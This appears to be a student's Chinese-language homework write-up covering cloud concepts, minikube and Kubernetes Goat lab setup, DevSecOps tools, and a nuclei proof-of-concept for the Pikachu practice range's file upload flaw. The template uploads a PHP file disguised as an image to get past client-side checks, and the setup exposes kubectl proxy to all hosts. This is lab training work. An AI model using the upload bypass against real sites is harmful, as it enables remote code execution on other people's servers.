目录
[公有云(Public Cloud)](#公有云(Public Cloud))
[私有云(Private Cloud)](#私有云(Private Cloud))
[混合云(Hybrid Cloud)](#混合云(Hybrid Cloud))
[基础设施即服务(IaaS, Infrastructure as a Service)](#基础设施即服务(IaaS, Infrastructure as a Service))
[平台即服务(PaaS, Platform as a Service)](#平台即服务(PaaS, Platform as a Service))
[软件即服务(SaaS, Software as a Service)](#软件即服务(SaaS, Software as a Service))
[启动Minikube(使用 Docker 驱动)](#启动Minikube(使用 Docker 驱动))
页面截图(这是安装了k8s-goat后的效果,仅按上面安装这里应该是空的)
[获取 Kubernetes 服务器版本:kubectl version](#获取 Kubernetes 服务器版本:kubectl version)
[获取 Kubernetes 集群信息:kubectl cluster-info](#获取 Kubernetes 集群信息:kubectl cluster-info)
[获取节点信息:kubectl get nodes](#获取节点信息:kubectl get nodes)
[获取当前命名空间中的 Pod 详细信息:kubectl get pods](#获取当前命名空间中的 Pod 详细信息:kubectl get pods)
三、搭建k8s-goat靶场,并参考官方文档和课件完成dind等场景的练习
[克隆 Kubernetes Goat 仓库](#克隆 Kubernetes Goat 仓库)
五、复习nuclei工具的使用和poc编写,编写pikachu文件上传漏洞poc
nuclei工具的使用:见C11期作业26(09.20)第五题
本地pikachu环境(phpstudy搭建):pp.com
靶场页面(客户端验证文件类型):http://pp.com/vul/unsafeupload/clientcheck.php
使用burp抓包,repeater,绕过客户端验证,上传phpinfo文件,成功
根据此包编写poc文件:pikachu-unsafe-file-upload.yaml
一、参考课件复习云相关基础概念
云服务:通过互联⽹提供的远程计算服务和资源
- 是一种将计算资源(如存储、处理能⼒、⽹络和应⽤程序)虚拟化并集中管理的技术模式
- ⽤户可以按需通过⽹络访问这些资源,⽽⽆需关⼼底层硬件设施的部署和管理
主要特征
- 按需⾃助服务:⽤户可以根据需求实时获取计算资源(如虚拟机、存储空间)⽽⽆需⼈⼯⼲预
- ⼴泛的⽹络访问:云服务可以通过⽹络随时随地访问,⽀持各种终端(如电脑、⼿机、平板等)
- 资源池化:计算资源集中存放在数据中⼼,通过虚拟化技术共享给多个⽤户(多租户模式),以提⾼资源利⽤率
- 快速弹性:根据⽤户需求,云能够动态调整资源分配,提供⼏乎⽆限的扩展能⼒
- 按使⽤计费:⽤户只需为实际使⽤的资源和服务付费,类似于⽔电费的计费⽅式
主要类型
###### 公有云(Public Cloud)
1. 由第三⽅云服务商提供,资源通过互联⽹共享
2. 例如:阿⾥云、AWS(亚⻢逊云)、微软 Azure、Google Cloud
3. 特点:低成本、⾼弹性、⽆需维护基础设施
###### 私有云(Private Cloud)
1. 专为单⼀组织构建,资源完全由该组织独享
2. 特点:⾼安全性、定制化强,但成本较⾼
###### 混合云(Hybrid Cloud)
1. 结合公有云和私有云的优点,允许数据和应⽤在两者之间灵活切换
2. 特点:满⾜敏感数据安全需求,同时利⽤公有云的弹性
###### 多云(Multi-Cloud)
1. 指企业同时使⽤多个公有云服务商的资源和服务
2. 特点:避免供应商锁定,提⾼服务可靠性
服务模型
###### 基础设施即服务(IaaS, Infrastructure as a Service)
1. 提供虚拟化的计算资源,如虚拟机、存储、⽹络等
2. ⽤户需要⾃⾏管理操作系统、应⽤程序等
3. 示例:AWS EC2、阿⾥云 ECS
###### 平台即服务(PaaS, Platform as a Service)
1. 提供开发和部署环境,⽤户⽆需关⼼底层基础设施
2. 示例:Google App Engine、阿⾥云的应⽤托管服务
###### 软件即服务(SaaS, Software as a Service)
1. 提供现成的应⽤程序,⽤户通过⽹络直接使⽤
2. 示例:Office 365、Google Workspace、Salesforce、百度云盘、12306
典型应⽤场景
- 存储与备份:如个⼈照⽚存储(iCloud、Google Drive)或企业数据备份(AWS S3)
- 应⽤托管:开发者利⽤云平台部署应⽤程序,⽽⽆需管理底层资源
- ⼤数据与⼈⼯智能:如使⽤云平台的计算能⼒分析海量数据或训练机器学习模型
- 企业协作:如基于云的协作⼯具(Microsoft Teams、Slack)
- 内容分发:如通过云服务快速分发⽹站内容(CDN)
云原⽣与云服务
- 云原⽣与云服务的关系密切但有显著区别,它们分别代表⼀种应⽤架构理念和⼀种技术提供模式
- 云服务
- 定义:云服务是指通过互联⽹提供的按需计算资源和服务,包括 IaaS(基础设施即服务)、PaaS(平台即服务)、SaaS(软件即服务)等
- 核⼼:向⽤户提供弹性、按需、⾃助的基础设施和平台服务
- 云原⽣
- 定义:云原⽣是⼀种专为云环境设计的应⽤架构理念,强调通过容器化、微服务架构、持续交付(CI/CD)、⾃动化运维和弹性扩展来构建现代化的应⽤程序
- 核⼼:最⼤化利⽤云计算资源的优势,以构建敏捷、弹性和⾼效的应⽤
- 关系
- 云服务是云原⽣的基础设施:云原⽣应⽤通常运⾏在云服务上,利⽤云计算的弹性、存储和⽹络资源
- 云原⽣优化云服务的利⽤:云原⽣的设计理念通过容器编排、微服务拆分等⽅式充分发挥云服务的弹性和成本优势
二、使用minikube搭建k8s集群,并学习基础操作
系统环境:腾讯云海外服务器2核2G,ubuntu24
- 最初使用vmware虚拟机的kali,总是出现问题,很费时间
- 改用海外服务器后,安装很顺利
使用minikube搭建k8s集群
###### 更新系统并安装依赖
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl wget vim git
###### 安装Docker
# 安装 Docker
sudo apt install -y docker.io
# 启动并设置开机自启
sudo systemctl enable --now docker
# 将当前用户加入 docker 组(避免每次用 sudo)
sudo usermod -aG docker $USER
newgrp docker # 刷新组权限(或重新登录 shell)
###### 安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
# 如果是 arm64 架构,把 amd64 改为 arm64
chmod +x kubectl
sudo mv kubectl /usr/local/bin/
kubectl version --client
###### 安装Minikube
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
# arm64 用户请用:minikube-linux-arm64
sudo install minikube-linux-amd64 /usr/local/bin/minikube
minikube version
###### 启动Minikube(使用 Docker 驱动)
minikube start \
--driver=docker \
--container-runtime=docker \
--kubernetes-version=stable \
--cpus=2 \
--memory=1967 # 可调大,如内存不足,可根据报错提示调整
###### 启动metrics
minikube addons enable metrics-server
###### 启用Dashboard(仪表盘)
1.
###### 方式一:仅本机访问(需给ubuntu安装桌面环境)
minikube dashboard --url
2.
###### 方式二:可外部访问
kubectl proxy --port=8088 --address='0.0.0.0' --accept-hosts='^.*'
3.
###### 页面截图(这是安装了k8s-goat后的效果,仅按上面安装这里应该是空的)
基础操作
###### 获取 Kubernetes 服务器版本:kubectl version
###### 获取 Kubernetes 集群信息:kubectl cluster-info
###### 获取节点信息:kubectl get nodes
###### 获取当前命名空间中的 Pod 详细信息:kubectl get pods
三、搭建k8s-goat靶场,并参考官方文档和课件完成dind等场景的练习
搭建k8s-goat靶场
###### 克隆 Kubernetes Goat 仓库
git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
chmod +x setup-kubernetes-goat.sh access-kubernetes-goat.sh
###### 运⾏kubernetes-goat的K8S服务
./setup-kubernetes-goat.sh
###### 启动应⽤服务的端⼝转发
./access-kubernetes-goat.sh
###### 页面截图:访问服务器的1234端口
dind场景练习
###### 介绍
###### 练习
四、复习devsecops相关概念和开源工具
概念
- DevSecOps 是⼀种将安全性集成到持续集成、持续交付和持续部署管道中的实践
- 通过将DevOps 价值观整合到软件安全中,安全性验证成为开发过程中的⼀个活动的集成部分
软件开发周期各阶段如何工作
- 计划阶段:执⾏主要的安全分析,制定适当的测试策略,⽤于确定测试的⽅式、地点和时间
- 编码阶段:使⽤各种类型的 Git 控件和⼯具来保护敏感信息,例如应⽤程序编程接⼝ (API) 密钥和密码
- 构建阶段:静态应⽤程序安全测试 (SAST),使代码⽆错误
- 测试阶段:动态应⽤程序安全测试(DAST),主要⽤于测试产品/应⽤程序,保护⽤户身份验证,并识别 SQL 注⼊和 API 端点中可能存在的问题
- 发布阶段:在渗透测试和漏洞扫描过程中执⾏安全分析
- 部署阶段:在⽣产中实施适当的安全协议,为最终部署做好准备
开源工具
- CI/CD⼯具:Jenkins、Travis CI、CircleCI、GitLab CI/CD、Concourse
- 版本控制⼯具:Git、SVN、Mercurial、Bazaar、Fossil
- 机密扫描⼯具:GitSecrets、TruffleHog、Gitleaks、BlackBox、SOPS
- SCA(源成分分析):OWASP dependency check、WhiteSource Bolt、OpenSCA、Black Duck Hub、CycloneDX
- 静态应⽤程序安全测试(SAST)⼯具:SonarQube、Snyk、Semgrep、Bandit、FindBugs
- 动态应⽤程序安全测试(DAST)⼯具:OWASP ZAP、Wapiti、Dastardly、Vega、Nikto、Arachni
- 容器化⼯具:锚引擎、Clair、Trivy、Twistlock、OpenSCAP
五、复习nuclei工具的使用和poc编写,编写pikachu文件上传漏洞poc
nuclei工具的使用:见C11期作业26(09.20)第五题
编写pikachu文件上传漏洞poc
###### 本地pikachu环境(phpstudy搭建):pp.com
###### 靶场页面(客户端验证文件类型):[http://pp.com/vul/unsafeupload/clientcheck.php](http://pp.com/vul/unsafeupload/clientcheck.php "http://pp.com/vul/unsafeupload/clientcheck.php")
###### 使用burp抓包,repeater,绕过客户端验证,上传phpinfo文件,成功
###### 根据此包编写poc文件:pikachu-unsafe-file-upload.yaml
id: pikachu-unsafe-file-upload
info:
name: Pikachu Unsafe File Upload
author: your-name
severity: high
description: Remote code execution via unsafe file upload in Pikachu.
reference:
- https://github.com/zhuifengshaonianhanlu/pikachu
tags: pikachu,fileupload,rce
requests:
- raw:
- |
POST /vul/unsafeupload/clientcheck.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----geckoformboundaryc27267934f39d21edb6bfc9b5e147b47
Connection: close
------geckoformboundaryc27267934f39d21edb6bfc9b5e147b47
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: image/gif
<?php phpinfo(); ?>
------geckoformboundaryc27267934f39d21edb6bfc9b5e147b47
Content-Disposition: form-data; name="submit"
submit
------geckoformboundaryc27267934f39d21edb6bfc9b5e147b47--
- |
GET /vul/unsafeupload/uploads/info.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "PHP Version"
###### 使用此模版扫描,漏扫成功
nuclei -u http://pp.com -t pikachu-unsafe-file-upload.yaml

###### 访问上传文件页面